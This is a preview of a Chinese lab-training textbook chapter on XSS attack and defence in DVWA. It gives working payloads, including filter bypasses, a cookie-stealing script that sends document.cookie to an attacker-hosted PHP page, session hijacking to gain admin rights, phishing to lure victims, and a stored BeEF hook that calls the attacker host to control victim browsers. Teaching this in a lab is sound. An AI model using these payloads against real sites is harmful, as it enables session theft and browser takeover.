网络安全与攻防技术实训教程(第3版)实训 项目12 跨站脚本攻击XSS攻防_第1页
网络安全与攻防技术实训教程(第3版)实训 项目12 跨站脚本攻击XSS攻防_第2页
网络安全与攻防技术实训教程(第3版)实训 项目12 跨站脚本攻击XSS攻防_第3页
网络安全与攻防技术实训教程(第3版)实训 项目12 跨站脚本攻击XSS攻防_第4页
网络安全与攻防技术实训教程(第3版)实训 项目12 跨站脚本攻击XSS攻防_第5页
已阅读5页,还剩6页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

··【项目12】跨站脚本攻击XSS攻防实训1反弹型XSS攻防学习目标:学习反弹型XSS攻击的原理,探讨攻击者如何巧妙地利用网页中的漏洞来执行恶意脚本,进而可能导致用户数据的泄露。通过项目实践,能够更加深入地理解这些防御策略的工作原理,并掌握如何在实际开发中应用这些措施,从而显著提高网站的安全防护能力。场景描述:在虚拟机环境下设置3个虚拟系统Kali、Win10(1)和Win10(3),确保这些系统可以互相通信,网络拓扑如图12-3所示,本章所有项目均在该场景中进行操作。图12-3网络拓扑任务1反弹型XSS攻防的初步认识实施过程:(1)在Kali主机中访问Win10(3)服务器的DVWA主页,设置DVWASecurity为“Low”,打开XSS(Reflected)页面,单击“ViewSource”按钮,查看服务器核心源代码,如图12-4所示。可以看到代码直接引用了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。图12-4查看Low级源代码(2)在文本框中输入“<script>alert('xss')</script>”,然后单击“Submit”按钮,成功弹出对话框,如图12-5所示。图12-5成功弹框(3)设置DVWASecurity为“Medium”,打开XSS(Reflected),查看服务器核心源代码,如图12-6所示。可以看到这里对输入进行了过滤,使用str_replace()函数将输入中的“<script>”替换为空。图12-6查看Medium级源代码(4)这种防护机制是基于黑名单的思想,可以被轻松绕过的。方法一:双写绕过输入“<sc<script>ript>alert('xss')</script>”,成功弹出对话框。方法二:大小写混淆绕过输入“<ScRipt>alert('xss')</script>”,成功弹出对话框。(5)设置DVWASecurity为“High”,然后打开XSS(Reflected),查看服务器核心源代码,如图12-7所示。可以看到,High级别的代码同样使用黑名单过滤输入,preg_replace()函数用于正规表达式的搜索和替换,这使得双写绕过、大小写混淆绕过不再有效。图12-7查看High级源代码(6)虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。这里我们在文本框中输入“<imgsrc=1onerror=alert(document.cookie)>”,这条语句表示在网页中插入一张图片,“src=1”指定了图片文件的URL,如果图片不存在(这里肯定是不存在),那么将会弹出错误提示框,从而实现弹出对话框的效果,如图12-8所示。图12-8返回Cookie值(7)设置DVWASecurity为“Impossible”,然后打开XSS(Reflected),查看服务器核心源代码,如图12-9所示。可以看到,Impossible级别的代码使用htmlspecialchars函数把预定义的字符,如&、”、

’、<、>这些敏感符号都进行转义,阻止浏览器将其作为HTML元素。所有的跨站语句中基本都离不开这些符号,因而只要这一个函数就阻止了XSS漏洞,所以跨站漏洞的代码防御还是比较简单的。图12-9查看Impossible级源代码任务2获取管理员权限攻击者利用反弹型XSS攻击,获取受害者的Cookie,从而使得自己从普通用户升级为管理员用户。因为这个项目实施是想获取受害者的Cookie,因此需要受害者在点击反射型URL的时候,受害者是以管理员的身份登录到DVWA系统中,而且必须在同一个浏览器中进行这两个操作。实施过程:(1)在Kali的/var/www/html/目录下存放一个文件xss_hacker.php,其内容如图12-10所示,该php文件的主要功能是接收客户端发送的Cookie信息,并保存到cookie.txt文件中。图12-10xss_hacker.php文件内容(2)在Kali的终端中输入命令“serviceapache2start”,启动Apache服务器,输入命令“chmod777/var/www/html/xss_hacker.php”,使得用户对xss_hacker.php文件都具有读、写和执行的权限,输入命令“chmod777/var/www/html”,使得用户对html目录都具有读、写和执行的权限,如图12-11所示。图12-11配置Apache服务器(3)在Kali中,用浏览器打开Win10(3)服务器的DVWA主页,以普通用户gordonb登录系统,其密码是“abc123”。(4)设置DVWASecurity为“Low”,然后打开XSS(Reflected)页面,输入<script>window.open("0/xss_hacker.php?cookie="+document.cookie);</script>单击“Submit”按钮,如图12-12所示,此时得到反射型攻击URL如下:/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ewindow.open%28%22http%3A%2F%2F0%2Fxss_hacker.php%3Fcookie%3D%22%2Bdocument.cookie%29%3B%3C%2Fscript%3E#图12-12生成反射型攻击URL(5)攻击者可以采取各种手段,包括群发E-mail,在各种论坛网站发布此攻击URL,以及创建吸引人的链接等,引诱受害者打开该反射型攻击URL。(6)受害者在Win10(1)中打开Win10(3)服务器的DVWA主页,以管理员用户admin登录系统。(7)此时如果受害者收到攻击者发送过来的反射型攻击URL,或者浏览黑客所伪造的钓鱼网站,并在同一个浏览器中打开该反射型攻击URL,就会执行有关脚本,打开攻击者指定的网页xss_hacker.php,把受害者自己的Cookie值发送给攻击者,并记录在cookie.txt文件中,如图12-13所示。图12-13获取的Cookie值(8)在Kali中,打开FireFox浏览器,单击“Extensions”按钮,然后在查找栏中输入要查找的扩展“EditThisCookie”,如图12-14所示。选择需要安装的扩展,单击“AddtoFirefox”安装该扩展,如图12-15所示。(这一步过程中需要设置Kali能够访问Internet)图12-14扩展和主题页面图12-15添加“EditThisCookie”扩展(9)在Kali中利用EditThisCookie扩展,修改DVWA登录的PHPSESSID为cookie.txt所记录的值并提交,如图12-16所示。图12-16修改PHPSESSID(10)刷新页面,发现攻击者的登录用户已经变成admin,从而获得管理员权限,如图12-17所示。图12-17登录用户变成admin实训2存储型XSS攻防任务1存储型XSS攻防的初步认识实施过程:(1)在Kali主机中访问Win10(3)服务器的DVWA主页,设置DVWASecurity为“Low”,然后打开XSS(Stored),查看服务器核心源代码,可以看到该页面对输入并没有做XSS方面的过滤与检查,且把输入的数据存储在服务器的数据库中,因此这里存在明显的存储型XSS漏洞。(2)在Message文本框中输入“<script>alert('xss')</script>”,然后单击“SignGuestbook”按钮,成功弹出对话框,如图12-18所示。图12-18成功弹框(3)因为脚本已经写到服务器的数据库中,因此当其他用户访问该页面时,也会弹出对话框。我们在Win10(1)主机中打开DVWA的XSS(Stored)时,发现也会弹出对话框。(4)分别设置DVWASecurity为“Medium”和“High”,由于message参数使用了htmlspecialchars函数进行编码,因此无法通过message参数注入XSS代码,但是对于name参数并没有严格过滤,仍然存在存储型XSS漏洞,其绕过的方法与反射型XSS的绕过方法相似,这里就不再重复。由于Name文本框的最大长度限制为10个字符,可以在Name文本框中右键,在弹出的快捷菜单中选择“Inspect”属性,修改长度限制“maxlength=50”,如图12-19所示。图12-19修改长度限制任务2利用BeEF实现对受害机的控制实施过程:(1)在Kali终端中输入命令“apt-getupdate”,更新软件包列表。输入命令“apt-getinstallbeef-xss”安装BeEF。安装完成后输入命令“beef-xss”,启动BeEF工具,在终端中显示管理页面地址及使用的脚本的方法,如图12-20所示,第一次启动会提示输入密码。图12-20运行BeEF工具(2)在管理页面中输入登录信息并进入BeEF管理平台,用户名是“beef”,如图12-21所示。图12-21登录管理平台BeEF(3)在Kali中打开Win10(3)服务器的DVWA主页。设置DVWASecurity为“Low”,然后打开XSS(Stored),由于Message文本框的最大长度限制为50个字符,可以在Message文本框中右键,在弹出的快捷菜单中选择“Inspect”属性,修改长度限制“maxlength=500”。Name文本框中输入“xss”(内容可随意输入),在Message文本框中输入“<scriptsrc="0:3000/hook.js"></script>”,单击“SignGuestbook”按钮,把脚本保存到数据库中,如图12-22所示。图12-22插入XSS脚本(4)受害者在Win10(1)中打开Win10(3)服务器的DVWA主页,当受害者访问XSS(Stored)页面时,浏览器自动执行脚本访问攻击者的hook.js钩子页面,连接到攻击主机Kali。(5)在Kali的BeEF的管理页面中,发现了受害者的图标,攻击成功如图12-23所示。图12-23XSS攻击成功(6)在被钩住的持续时间里,受害主机被控制了,攻击者可以发送攻击命令。选择“Commands”选项卡,可以看到很多已经分好类的攻击模块,如图12-24所示,攻击命令的颜色含义如下。绿色:该攻击模块命令可用,隐蔽性强。橘色:该攻击模块命令可用,但受害者可能会发现它。橙色:该攻击模块是否可用需待验证,可以直接试验。灰色:该攻击模块不可用。图12-24BeEF界面BeEF的功能非常强大,这里我们只介绍其中的几个功能。单击“Browser”→“HookedDomai

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

最新文档

评论

0/150

提交评论